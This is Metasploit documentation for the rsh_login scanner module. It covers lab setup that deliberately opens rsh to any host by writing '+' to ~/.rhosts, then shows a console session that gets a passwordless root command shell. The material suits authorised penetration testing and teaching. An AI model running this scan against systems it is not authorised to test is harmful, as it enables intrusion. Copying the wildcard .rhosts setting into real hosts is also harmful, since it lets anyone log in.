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rapid7
GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/documentation/modules/auxiliary/scanner/rservices/rsh_login.md
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Vulnerable Application

The R Services (rexecd, rlogind, and rshd) are a suite of unencrypted remote command/login services developed in the 1980s. These services are all but unused in modern computing, as they have been replace by telnet and ssh.

rsh relies on host names as a security mechanism. Utilizing + can wildcard so any computer can connect. In the following config, we'll utilize that wildcarded setting to simplify our exploitation. This is a glaring security issue!!! However, there are exceptions to this in proprietary Unix systems which may include other mechanisms such as Kerberos (AIX)

If you encounter Host address mismatch for ..., you may need to adjust your /etc/hosts file accordingly.

The following was done on Kali linux:

  1. apt-get install rsh-server which includes: rexecd, rlogind and rshd.

  2. echo "+" > ~/.rhosts

  3. Start the service: service openbsd-inetd start

Verification Steps

  1. Install and configure rexec

  2. Start msfconsole

  3. Do: use auxiliary/scanner/rservices/rsh_login

  4. Do: set rhosts

  5. Set any other credentials that will need to be set

  6. Do: run

Scenarios

A run against the configuration from these docs

  msf > use auxiliary/scanner/rservices/rsh_login
  msf auxiliary(rsh_login) > set rhosts 10.1.2.3
  rhosts => 10.1.2.3
  msf auxiliary(rsh_login) > set username root
  username => root
  msf auxiliary(rsh_login) > run

  [*] 10.1.2.3:514     - 10.1.2.3:514 - Starting rsh sweep
  [*] 10.1.2.3:514     - 10.1.2.3:514 - Attempting rsh with username 'root' from 'root'
  [+] 10.1.2.3:514     - 10.1.2.3:514, rsh 'root' from 'root' with no password.
  [!] 10.1.2.3:514     - *** auxiliary/scanner/rservices/rsh_login is still calling the deprecated report_auth_info method! This needs to be updated!
  [!] 10.1.2.3:514     - *** For detailed information about LoginScanners and the Credentials objects see:
  [!] 10.1.2.3:514     -      https://docs.metasploit.com/docs/development/developing-modules/guides/scanners/creating-metasploit-framework-loginscanners.html
  [!] 10.1.2.3:514     -      https://docs.metasploit.com/docs/development/developing-modules/guides/scanners/how-to-write-a-http-loginscanner-module.html
  [!] 10.1.2.3:514     - *** For examples of modules converted to just report credentials without report_auth_info, see:
  [!] 10.1.2.3:514     -      https://github.com/rapid7/metasploit-framework/pull/5376
  [!] 10.1.2.3:514     -      https://github.com/rapid7/metasploit-framework/pull/5377
  [*] Command shell session 1 opened (10.1.2.3:1023 -> 10.1.2.3:514) at 2017-05-11 19:56:46 -0400
  [*] Scanned 1 of 1 hosts (100% complete)
  [*] Auxiliary module execution completed

Confirming

At the time of writing this, there was no nmap script equivalent. Most modern systems have also replaced rsh with ssh.